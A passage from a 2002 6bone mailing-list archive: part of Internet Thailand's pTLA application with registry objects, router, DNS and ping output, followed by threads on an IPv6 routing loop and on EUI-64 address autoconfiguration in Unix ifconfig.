tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th -> www.freenet6.net
VIAGENIE STATIC
tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th -> rap.viagenie.qc.ca
VIAGENIE BGP4+
tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th ->
sl-bb1v6-sj.sprintlink.net SPRINT BGP4+
contact:      BS5-6BONE
contact:      INOC1-6BONE
remarks:      ipv6-site is operational since 20011225
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20011227
changed:      snakk@inet.co.th 20011229
changed:      snakk@inet.co.th 20020117
changed:      snakk@inet.co.th 20020129
source:       6BONE

<<< inet6num >>>
inet6num:     3FFE:B80:61F::/48
netname:      INET-TH
descr:        Internet Thailand Public Company Limited
country:      TH
admin-c:      BS5-6BONE
tech-c:       INOC1-6BONE
notify:       noc@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20011225
changed:      snakk@inet.co.th 20011227
source:       6BONE

inet6num:     3FFE:B00:4050::/48
netname:      INET-TH
descr:        Internet Thailand Public Company Limited
country:      TH
admin-c:      BS5-6BONE
tech-c:       INOC1-6BONE
notify:       ipv6@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20020529
source:       6BONE

inet6num:     3FFE:2900:1101::/48
netname:      INET-TH
descr:        Internet Thailand Public Company Limited
country:      TH
admin-c:      BS5-6BONE
tech-c:       INOC1-6BONE
notify:       ipv6@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20020529
source:       6BONE


<<< mntner >>>
% RIPEdb(3.0.0b2) with ISI RPSL extensions

mntner:       MNT-INET
descr:        Maintainer of INET-TH 6bone objects
admin-c:      BS16-AP
tech-c:       CN2-TH
tech-c:       SK13-AP
tech-c:       SK26-TH
upd-to:       noc@inet.co.th
auth:         CRYPT-PW *
auth:         CRYPT-PW *
remarks:      This object is automatically converted from the RIPE181
registry
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20010107
changed:      snakk@inet.co.th 20010108
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

<<< person >>>
% RIPEdb(3.0.0b2) with ISI RPSL extensions

role:         INET-TH Network Operation Center
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2640-0456
e-mail:       noc@inet.co.th
admin-c:      BS5-6BONE
tech-c:       SK2-6BONE
nic-hdl:      INOC1-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       noc@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20010108
changed:      auto-dbm@whois.6bone.net 20010117
changed:      snakk@inet.co.th 20011225
source:       6BONE

person:       Buncha Srisamanuwat
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2640-0456
e-mail:       athicha@inet.co.th
nic-hdl:      BS5-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       athicha@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20010108
changed:      auto-dbm@whois.6bone.net 20010117
changed:      snakk@inet.co.th 20011225
source:       6BONE

person:       Sanan Kurkulsatsanakit
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2640-0456
e-mail:       snakk@inet.co.th
nic-hdl:      SK2-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       snakk@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20010108
changed:      auto-dbm@whois.6bone.net 20010117
changed:      snakk@inet.co.th 20011225
source:       6BONE

person:       Chakrit Noisuwan
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2640-0456
e-mail:       chakrit@inet.co.th
nic-hdl:      CN2-6BONE
notify:       chakrit@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20011225
changed:      snakk@inet.co.th 20011225
source:       6BONE

person:       Nattapong Jatupongpairoj
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2257-7275
e-mail:       jnatta@inet.co.th
nic-hdl:      NJ2-6BONE
notify:       jnatta@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20020521
source:       6BONE

person:       Prasong Sakulwongwattana
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2257-7275
e-mail:       psongs@inet.co.th
nic-hdl:      PS9-6BONE
notify:       psongs@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20020521
source:       6BONE

person:       Karaked Kedchumpol
address:      Internet Thailand Public Company Limited
address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
address:      Rangnam Rd., Rajdhevee,
address:      Bangkok 10400, Thailand
phone:        +66-2640-0345
fax-no:       +66-2257-7275
e-mail:       karaked@inet.co.th
nic-hdl:      KK13-6BONE
notify:       karaked@inet.co.th
mnt-by:       MNT-INET
changed:      snakk@inet.co.th 20020521
source:       6BONE

--------------------------------------------------------------------------------
       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.
--------------------------------------------------------------------------------
We have 2 BGP perring with SPRINT and VIAGENIE

IPv6-Router#show ipv6 interface brief
Ethernet0                  [up/up]
     3FFE:2900:1101:0:2B0:64FF:FEFC:E2E1
Loopback0                  [up/up]
     unassigned
Tunnel11                   [up/up]	<--- SPRINT
     3FFE:2900:1100:1::2
Tunnel99                   [up/up]	<--- VIAGENIE
     3FFE:B00:C18::99

IPv6-Router#show ip interface brief
Interface                  IP-Address      OK? Method Status
Prot
ocol
Ethernet0                  203.150.14.66   YES NVRAM  up
up

Loopback0               203.150.16.66   YES NVRAM  up
up

Tunnel11                   unassigned      YES NVRAM  up
up	<--- SPRINT

Tunnel99                   unassigned      YES NVRAM  up
up	<--- VIAGENIE

IPv6-Router#show bgp ipv6 summary
BGP router identifier 203.150.16.66, local AS number 4618
BGP table version is 265470, main routing table version 265470
225 network entries and 427 paths using 58061 bytes of memory
359 BGP path attribute entries using 21540 bytes of memory
348 BGP AS-PATH entries using 9812 bytes of memory
9 BGP community entries using 216 bytes of memory
0 BGP route-map cache entries using 0 bytes of memory
180 BGP filter-list cache entries using 2160 bytes of memory
213 received paths for inbound soft reconfiguration
BGP activity 56658/276904 prefixes, 219207/218780 paths, scan interval 15
secs

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
State/PfxRcd
3FFE:B00:C18::98
                 4 10566  746846  346002   265470    0    0 13:33:53
0	<--- VIAGENIE
3FFE:2900:1100:1::1
                 4  6175  352396  171730   265470    0    0 1d02h
212	<--- SPRINT

--------------------------------------------------------------------------------
       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.
--------------------------------------------------------------------------------
The main DNS server is "rns1.v6.inet.co.th".
Our formal forward domain name for IPv6 is "v6.inet.co.th".
And we have DNS reverse (ip6.int) delegation from SPRINT
(3ffe:2900:1101::/48) only.

# nslookup -type=soa v6.inet.co.th
v6.inet.co.th
	origin = rns1.v6.inet.co.th
	mail addr = hostmaster.inet.co.th
	serial = 2002052803
	refresh = 21600 (6H)
	retry   = 7200 (2H)
	expire  = 604800 (1W)
	minimum ttl = 43200 (12H)
v6.inet.co.th	nameserver = rns1.v6.inet.co.th
rns1.v6.inet.co.th	internet address = 203.150.14.111
rns1.v6.inet.co.th	IPv6 address = 3ffe:2900:1101:0:210:64ff:fe30:7cb9

# nslookup
 > ls -d v6.inet.co.th
$ORIGIN v6.inet.co.th.
@		12H IN SOA      rns1 hostmaster.inet.co.th. (
		2002052803      ; serial
		6H              ; refresh
		2H              ; retry
		1W              ; expiry
		12H )           ; minimum

		12H IN NS       rns1
FREENET6	12H IN AAAA     3ffe:b80:61f::
SPRINT		12H IN AAAA     3ffe:2900:1101::
VIAGENIE	12H IN AAAA     3ffe:b00:4050::

core-gw		12H IN A        203.150.14.66
		12H IN AAAA     3ffe:2900:1101:0:2b0:64ff:fefc:e2e1

netcen		12H IN A        203.150.14.120
		12H IN AAAA     3ffe:2900:1101:0:220:afff:fed3:6a4c
rns1		12H IN A        203.150.14.111
		12H IN AAAA     3ffe:2900:1101:0:210:64ff:fe30:7cb9
www		12H IN A        203.150.14.120
		12H IN AAAA     3ffe:2900:1101:0:220:afff:fed3:6a4c


# dig -t any 1.0.1.1.0.0.9.2.e.f.f.3.ip6.int @ns1.sprintv6.net

; <<>> DiG 8.3 <<>> -t 1.0.1.1.0.0.9.2.e.f.f.3.ip6.int @ns1.sprintv6.net
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 2
;; QUERY SECTION:
;;      1.0.1.1.0.0.9.2.e.f.f.3.ip6.int, type = ANY, class = IN

;; ANSWER SECTION:
1.0.1.1.0.0.9.2.e.f.f.3.ip6.int.  4H IN NS  rns1.v6.inet.co.th.

;; AUTHORITY SECTION:
9.2.e.f.f.3.ip6.int.    4H IN NS        ns1.sprintv6.net.

;; ADDITIONAL SECTION:
ns1.sprintv6.net.       4H IN A         63.167.40.5
ns1.sprintv6.net.       4H IN AAAA  2001:440:1239:1001::2


--------------------------------------------------------------------------------
       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.
--------------------------------------------------------------------------------
Our common webpage for IPv6 is "http://www.v6.inet.co.th".
It can be IPv6 pingable.

# ping6 www.v6.inet.co.th
PING6(56=40+8+8 bytes) 3ffe:2900:1101:0:220:afff:fed3:6a4c -->
3ffe:2900:1101:0:220:afff:fed3:6a4c

16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=0 hlim=64
time=0.32 ms
16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=1 hlim=64
time=0.19 ms
16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=2 hlim=64
time=0.186 ms
16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=3 hlim=64
time=0.185 ms
16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=4 hlim=64
time=0.189 ms

--- www.v6.inet.co.th ping6 statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.185/0.214/0.320 ms

================================================================================
    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.
--------------------------------------------------------------------------------
person:       Buncha Srisamanuwat
notify:       athicha@inet.co.th

person:       Sanan Kurkulsatsanakit
notify:       snakk@inet.co.th

person:       Chakrit Noisuwan
notify:       chakrit@inet.co.th

person:       Nattapong Jatupongpairoj
notify:       jnatta@inet.co.th

person:       Prasong Sakulwongwattana
notify:       psongs@inet.co.th

person:       Karaked Kedchumpol
notify:       karaked@inet.co.th

--------------------------------------------------------------------------------
       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.
--------------------------------------------------------------------------------
The common mailbox for IPv6 in INET-TH is "ipv6@inet.co.th"

ipv6-site:    INET-TH
contact:      INOC1-6BONE

role:         INET-TH Network Operation Center
e-mail:       ipv6@inet.co.th
nic-hdl:      INOC1-6BONE

================================================================================
    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.
--------------------------------------------------------------------------------
INET-TH is the most market-shared ISP of corporate customers in Thailand.
We are providing Internet Access Service for both Corporate and Individual
customers. We also provide Hosting, Co-location, Internet  Data Center and
E-commerce Services. We are the first ISP in Thailand that became to
public
company limited. Our coverage is overall of Thailand 76 provinces last
year.

As a 6BONE pTLA, we have a plan of testbed with our subscribers with
policy
of not charging services.  We welcome whoever want to connect us with
6BONE prefix.

We also plan to request IPv6 address space from APNIC within this year.
Then
we will provide our commercial services in IPv6.

================================================================================
    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.
--------------------------------------------------------------------------------

INET-TH commit and agree to the current and future 6BONE operational rules
and policies.

<<< Internet Thailand Public Company Limited >>>


From bmanning@ISI.EDU Thu Jun  6 11:18:29 2002
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both nodes in LA.
very impressive....  

	----------------------------------------------------

traceroute6 to lime.ep.net (2001:478:6::1) from 3ffe:0:1::c620:242, 30 hops max,
 12 byte packets
 1  3ffe:0:1::1  9.531 ms *  0.498 ms
 2  3ffe:c00:8023:e::1  11.849 ms  11.881 ms  11.392 ms
 3  london1-manchester1-gw.ipv6.kewlio.net  219.342 ms edt-cisco.ipv6.edisontel.
it  193.543 ms  193.373 ms
 4  3ffe:2900:1:5::2  727.936 ms 3ffe:800::fffb:0:0:6  164.302 ms  166.069 ms
 5  gate.ipv6.wanadoo.be  181.536 ms  290.697 ms *
 6  2001:768:e:1::2  357.994 ms 3ffe:c00:8023:c::1  213.895 ms  213.377 ms
 7  3ffe:81d0:ffff:2::23  487.803 ms 2001:288:3b0::c  708.252 ms 2001:288:3b0::1
e  402.871 ms
 8  3ffe:8320:1::25  1028.21 ms london1-manchester1-gw.ipv6.kewlio.net  460.173 
ms  459.098 ms
 9  2001:780::b  449.21 ms 3ffe:c00:8023:25::1  264.226 ms  251.315 ms
10  3ffe:c00:8023:25::2  330.116 ms *  335.899 ms
11  3ffe:c00:8023:25::1  492.054 ms  401.806 ms  420.531 ms
12  3ffe:c00:8023:25::2  412.062 ms  809.992 ms  608.478 ms
13  3ffe:c00:8023:25::1  607.878 ms  415.899 ms  492.083 ms
14  * 3ffe:c00:8023:25::1  488.384 ms  551.468 ms
15  3ffe:c00:8023:25::2  564.566 ms  564.617 ms  567.17 ms
16  3ffe:c00:8023:25::1  577.971 ms  568.394 ms  571.052 ms
17  3ffe:c00:8023:25::2  647.445 ms  650.442 ms  653.109 ms
18  3ffe:c00:8023:25::1  642.521 ms  643.35 ms 3ffe:8260:fd:6::1  1278.51 ms !A
19  grnet-hurricane.ipv6.grnet.gr  2778.35 ms 2001:780::b  1757.16 ms 3ffe:c00:8
023:1e::2  2009.55 ms
20  2001:780::b  2096.76 ms  2091.27 ms  2084.79 ms
21  3ffe:c00:8023:1e::2  2222.58 ms  1922.16 ms  1659.08 ms
22  2001:478:ffff::1e  1655.09 ms  1648.34 ms  1631.33 ms
23  3ffe:c00:8023:1e::2  1842.8 ms  1824.69 ms  1794.77 ms
24  2001:780::b  1288.24 ms  1411.98 ms  1417.64 ms
25  2001:478:ffff::1e  1415.71 ms  1284.05 ms  1279.68 ms
26  2001:780::b  1391.3 ms 2001:478:ffff::1e  1487.08 ms  1696.65 ms
27  2001:470:1fff:2::5  1878.89 ms  1874.68 ms  1890.85 ms
28  2001:780::b  1910.57 ms  1931.28 ms  1912.06 ms
29  2001:470:1fff:2::5  1962.74 ms 3ffe:c00:8023:24::2  2586.11 ms  2593.85 ms
30  3ffe:c00:8023:24::1  2662.59 ms  2650.47 ms  2587.02 ms

-- 
"When in doubt, Twirl..."  -anon

From mail@thomas--schaefer.de Thu Jun  6 12:34:47 2002
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From: Thomas Schaefer <mail@thomas--schaefer.de>
To: 6bone@ISI.EDU
Subject: Re: [6bone] random walk?
Date: Thu, 6 Jun 2002 21:34:28 +0200
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6. Juni 2002 20:18 wrote Bill Manning:


> very impressive....
>
from a different point of view: 

host:~ # traceroute6 2001:478:6::1
traceroute to 2001:478:6::1 (2001:478:6::1) from 
3ffe:b80:d17:1:2a0:ccff:fe20:5d7c, 30 hops max, 16 byte packets
 1  3ffe:b80:d17:1::1 (3ffe:b80:d17:1::1)  0.87 ms  0.577 ms  0.567 ms
 2  3ffe:b80:2:95f3::1 (3ffe:b80:2:95f3::1)  365.829 ms  361.016 ms  375.314 
ms
 3  2001:780::b (2001:780::b)  814.896 ms  358.293 ms  353.315 ms
 4  3ffe:b00:c18::6b (3ffe:b00:c18::6b)  492.258 ms  461.492 ms *
 5  3ffe:b00:c18::3 (3ffe:b00:c18::3)  561.88 ms  560.234 ms  578.585 ms
 6  2001:780::b (2001:780::b)  571.196 ms  570.055 ms  570.962 ms
 7  * 3ffe:b00:c18::6b (3ffe:b00:c18::6b)  650.221 ms  660.813 ms
 8  3ffe:b00:c18::3 (3ffe:b00:c18::3)  778.641 ms  779.591 ms  776.91 ms
 9  * * 2001:780::b (2001:780::b)  775.771 ms
10  * 3ffe:b00:c18::6b (3ffe:b00:c18::6b)  857.956 ms  874.645 ms
11  3ffe:b00:c18::3 (3ffe:b00:c18::3)  1028.26 ms  1004.38 ms  1054.79 ms
12  2001:780::b (2001:780::b)  1042.59 ms  993.64 ms  999.804 ms
13  3ffe:b00:c18::6b (3ffe:b00:c18::6b)  1098.09 ms  1082.68 ms  1116.46 ms
14  3ffe:b00:c18::3 (3ffe:b00:c18::3)  1222.71 ms  1217.99 ms  1196.03 ms
15  2001:780::b (2001:780::b)  1270.78 ms  1207.47 ms  1198.48 ms
16  3ffe:b00:c18::6b (3ffe:b00:c18::6b)  1323.21 ms  1286.93 ms  1308.19 ms
17  3ffe:b00:c18::3 (3ffe:b00:c18::3)  1416.23 ms  1422.7 ms  1437.84 ms
18  2001:780::b (2001:780::b)  1414.32 ms  1413.82 ms  1445.82 ms
19  3ffe:b00:c18::6b (3ffe:b00:c18::6b)  1520.97 ms  1629.09 ms  1555.38 ms
20  * 3ffe:b00:c18::3 (3ffe:b00:c18::3)  1627.2 ms  1667.6 ms
...

host:~ # ping6  2001:478:6::1
PING 2001:478:6::1(2001:478:6::1) from 3ffe:b80:d17:1:2a0:ccff:fe20:5d7c : 56 
data bytes
From 3ffe:b00:c18::6b icmp_seq=1 Time exceeded: Hop limitFrom 3ffe:b00:c18::6b 
icmp_seq=2 Time exceeded: Hop limitFrom 3ffe:b00:c18::6b icmp_seq=3 Time 
exceeded: Hop limit
--- 2001:478:6::1 ping statistics ---
8 packets transmitted, 0 received, +3 errors, 100% loss, time 7042ms

Regards,
Thomas Schäfer



From jorgen@hovland.cx Thu Jun  6 13:22:05 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
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Subject: Re: [6bone] random walk?
Date: Thu, 6 Jun 2002 22:21:53 +0200
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It is most likely due to flapping and people using default-routes.

Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal,
              r RIB-failure
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          From            Flaps Duration Reuse    Path
*  2001:478::/35    2001:750:E::A   1     00:01:55          15589 8954 4554
*                   3FFE:82B0:0:1:1 1     00:01:54          24765 109 4554

Joergen Hovland

----- Original Message -----
From: "Bill Manning" <bmanning@ISI.EDU>
To: <6bone@ISI.EDU>
Sent: Thursday, June 06, 2002 8:18 PM
Subject: [6bone] random walk?


> both nodes in LA.
> very impressive....
>
> ----------------------------------------------------
>
> traceroute6 to lime.ep.net (2001:478:6::1) from 3ffe:0:1::c620:242, 30
hops max,
>  12 byte packets
>  1  3ffe:0:1::1  9.531 ms *  0.498 ms
>  2  3ffe:c00:8023:e::1  11.849 ms  11.881 ms  11.392 ms
>  3  london1-manchester1-gw.ipv6.kewlio.net  219.342 ms
edt-cisco.ipv6.edisontel.
> it  193.543 ms  193.373 ms
>  4  3ffe:2900:1:5::2  727.936 ms 3ffe:800::fffb:0:0:6  164.302 ms  166.069
ms
>  5  gate.ipv6.wanadoo.be  181.536 ms  290.697 ms *
>  6  2001:768:e:1::2  357.994 ms 3ffe:c00:8023:c::1  213.895 ms  213.377 ms
>  7  3ffe:81d0:ffff:2::23  487.803 ms 2001:288:3b0::c  708.252 ms
2001:288:3b0::1
> e  402.871 ms
>  8  3ffe:8320:1::25  1028.21 ms london1-manchester1-gw.ipv6.kewlio.net
460.173
> ms  459.098 ms
>  9  2001:780::b  449.21 ms 3ffe:c00:8023:25::1  264.226 ms  251.315 ms
> 10  3ffe:c00:8023:25::2  330.116 ms *  335.899 ms
> 11  3ffe:c00:8023:25::1  492.054 ms  401.806 ms  420.531 ms
> 12  3ffe:c00:8023:25::2  412.062 ms  809.992 ms  608.478 ms
> 13  3ffe:c00:8023:25::1  607.878 ms  415.899 ms  492.083 ms
> 14  * 3ffe:c00:8023:25::1  488.384 ms  551.468 ms
> 15  3ffe:c00:8023:25::2  564.566 ms  564.617 ms  567.17 ms
> 16  3ffe:c00:8023:25::1  577.971 ms  568.394 ms  571.052 ms
> 17  3ffe:c00:8023:25::2  647.445 ms  650.442 ms  653.109 ms
> 18  3ffe:c00:8023:25::1  642.521 ms  643.35 ms 3ffe:8260:fd:6::1  1278.51
ms !A
> 19  grnet-hurricane.ipv6.grnet.gr  2778.35 ms 2001:780::b  1757.16 ms
3ffe:c00:8
> 023:1e::2  2009.55 ms
> 20  2001:780::b  2096.76 ms  2091.27 ms  2084.79 ms
> 21  3ffe:c00:8023:1e::2  2222.58 ms  1922.16 ms  1659.08 ms
> 22  2001:478:ffff::1e  1655.09 ms  1648.34 ms  1631.33 ms
> 23  3ffe:c00:8023:1e::2  1842.8 ms  1824.69 ms  1794.77 ms
> 24  2001:780::b  1288.24 ms  1411.98 ms  1417.64 ms
> 25  2001:478:ffff::1e  1415.71 ms  1284.05 ms  1279.68 ms
> 26  2001:780::b  1391.3 ms 2001:478:ffff::1e  1487.08 ms  1696.65 ms
> 27  2001:470:1fff:2::5  1878.89 ms  1874.68 ms  1890.85 ms
> 28  2001:780::b  1910.57 ms  1931.28 ms  1912.06 ms
> 29  2001:470:1fff:2::5  1962.74 ms 3ffe:c00:8023:24::2  2586.11 ms
2593.85 ms
> 30  3ffe:c00:8023:24::1  2662.59 ms  2650.47 ms  2587.02 ms
>
> --
> "When in doubt, Twirl..."  -anon
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From jeroen@unfix.org Thu Jun  6 15:14:20 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "=?iso-8859-1?Q?'J=F8rgen_Hovland'?=" <jorgen@hovland.cx>,
   "'Bill Manning'" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: RE: [6bone] random walk?
Date: Fri, 7 Jun 2002 00:13:50 +0200
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Jørgen Hovland wrote:

> It is most likely due to flapping and people using default-routes.
> 
> Status codes: s suppressed, d damped, h history, * valid, > best, i -
> internal,
>               r RIB-failure
> Origin codes: i - IGP, e - EGP, ? - incomplete
> 
>    Network          From            Flaps Duration Reuse    Path
> *  2001:478::/35    2001:750:E::A   1     00:01:55          
> 15589 8954 4554
> *                   3FFE:82B0:0:1:1 1     00:01:54          
> 24765 109 4554

jeroen@noc:~$ traceroute6 2001:478:6::1
traceroute to 2001:478:6::1 (2001:478:6::1) from
3ffe:4007:1:1:210:dcff:fe20:7c7c, 30 hops max, 16 byte packets
 1  fe0.breda.ipv6.concepts-ict.net (3ffe:4007:1:1::1)  0.488 ms  0.385
ms  0.346 ms
 2  se2.ams-ix.ipv6.concepts-ict.net (3ffe:4007:0:10::1)  3.559 ms
3.576 ms  3.746 ms
 3  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  4.085 ms  4.741 ms
4.111 ms
 4  nikhef.ams-ix.ipv6.intouch.net (2001:7f8:1::a500:8954:1)  4.25 ms
4.107 ms  4.125 ms
 5  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  161.881 ms  161.794 ms
*
 6  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  168.316 ms !H *
161.958 ms !H

@Intouch (www.ipng.nl/bgp/ :)

EP-NET ISI-LAP 2001:0478::/35 3.5% 0.0% view 

http://www.ipng.nl/bgp/history/35-EP-NET.html :
90.3%  ( 130 / 144 )     ISI-LAP 
8.3%  ( 12 / 144 )     SURFNET - BELNET-BE - BELBONE-BE - 4589 -
CYBERNET - REGIO-DE - SPACENET-D - ISI-LAP 
0.7%  ( 1 / 144 )     CERN - EDISONTEL - 12337 - REGIO-DE - SPACENET-D -
ISI-LAP 
0.7%  ( 1 / 144 )     CISCO - ITESM - XS4ALL-NL - OXYGEN - SPRINT -
ISI-LAP 

ISI-LAP doesn't nicely connect to you but are announcing it...

btw... QWEST-IPV6 has an unstability rating of 57.6% here... which is
quite high imho, nothing bad but not quite nice either ;)
btw2: check the list at
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Route_Views/
to check where it could go wrong.
btw3: Nice to see ep.net going v6 when are the servers following ? :)

Greets,
 Jeroen


From pim@ipng.nl Sun Jun  9 10:22:52 2002
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From: Pim van Pelt <pim@ipng.nl>
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Subject: [6bone] ifconfig and EUI-64
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Hi guys,

Does anyone know why exactly the ifconfig programs for the BSDs, Linux
and most probably Solaris are not able to autoconfigure their own
addresses, by not using the RS/RA schema, but a local autoconfiguration
such as the Cisco IOS:

interface FastEthernet0/0
 ipv6 enable
 ipv6 address 2001:7b8:4:1234::/64 eui-64
!

which will let the fa0/0 device figure out its own address using the
lower order 64 bits of its linklocal address in the specified prefix.

This behavior is missing in the Unix world and I for one would like to
see it implemented. Anybody against this ?

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From ww@GROOVY.NET Sun Jun  9 12:06:36 2002
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Subject: Re: [6bone] ifconfig and EUI-64
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On Sun, Jun 09, 2002 at 07:22:47PM +0200, Pim van Pelt wrote:
> 
> which will let the fa0/0 device figure out its own address using the
> lower order 64 bits of its linklocal address in the specified prefix.
> 
> This behavior is missing in the Unix world and I for one would like to
> see it implemented. Anybody against this ?

There was a discussion about this some time ago on the NetBSD
tech-net mailing list. The debate centered on whether it was 
better to have this functionality in the ifconfig binary or 
in some sort of script that would call ifconfig after calculating
the lower order 64 bits. The problem with the latter is that it 
might assume that /usr is mounted which may not be true until 
after networking has been configured.

I can't think of any very strong argument about why what you 
suggest should not be implemented within ifconfig(8).

Cheers,
Will

From jeroen@unfix.org Sun Jun  9 12:56:25 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <ww@GROOVY.NET>, "'Pim van Pelt'" <pim@ipng.nl>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] ifconfig and EUI-64
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ww@GROOVY.NET wrote:

> On Sun, Jun 09, 2002 at 07:22:47PM +0200, Pim van Pelt wrote:
> > 
> > which will let the fa0/0 device figure out its own address using the
> > lower order 64 bits of its linklocal address in the specified
prefix.
> > 
> > This behavior is missing in the Unix world and I for one would like
to
> > see it implemented. Anybody against this ?
> 
> There was a discussion about this some time ago on the NetBSD
> tech-net mailing list. The debate centered on whether it was 
> better to have this functionality in the ifconfig binary or 
> in some sort of script that would call ifconfig after calculating
> the lower order 64 bits. The problem with the latter is that it 
> might assume that /usr is mounted which may not be true until 
> after networking has been configured.
> 
> I can't think of any very strong argument about why what you 
> suggest should not be implemented within ifconfig(8).

FreeBSD 4.2 had the /etc/rc.network6 init script setup so that it would
check for a prefixcmd_enable="YES"
and if that was true it would use the prefix from ipv6_prefix_<device>
and do a 'prefix <device> <prefix>'
which sets up an anycast address, after which, the system (read: kernel)
knows how to autoconfig that device.
Unfortunatly for some odd reason this 'feature' was taken from newer
(4.4+) FreeBSD's. The 'prefix' command is
still there but the rc.network6 script is now used, the prefix command
is completely ignored. As this comes from
the KAME upstream they probably know the reason why that happened?

Greets,
 Jeroen

PS: snippets from the 'prefix' manpage:

DESCRIPTION
     prefix is used to assign an prefix to a network interface and/or
renum-
     bering network interface prefixes.  prefix must be used at boot
time to
     define the network prefix of each interface present on a machine;
it may
     also be used at a later time to renumbering multiple interface's
prefixes
     and other prefix related parameters.  prefix is router-only
command, so
     you must do following to use it.
           % sysctl -w net.inet6.ip6.forwarding=1
     If net.inet6.ip6.forwarding is set to 0, prefix command fails by
EPERM
     error.

HISTORY
     The prefix command first appeared in WIDE/KAME IPv6 protocol stack
kit.

     IPv6 and IPsec support based on the KAME Project
(http://www.kame.net/)
     stack was initially integrated into FreeBSD 4.0


From hansolofalcon@worldnet.att.net Sun Jun  9 13:08:40 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] ifconfig and EUI-64
Date: Sun, 9 Jun 2002 16:07:20 -0400
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Hello from Gregg C Levine
Pim, I am in total agreement with you on this. Both distributions of
Linux which I run here, do support IPv6, but do it strangely. I am
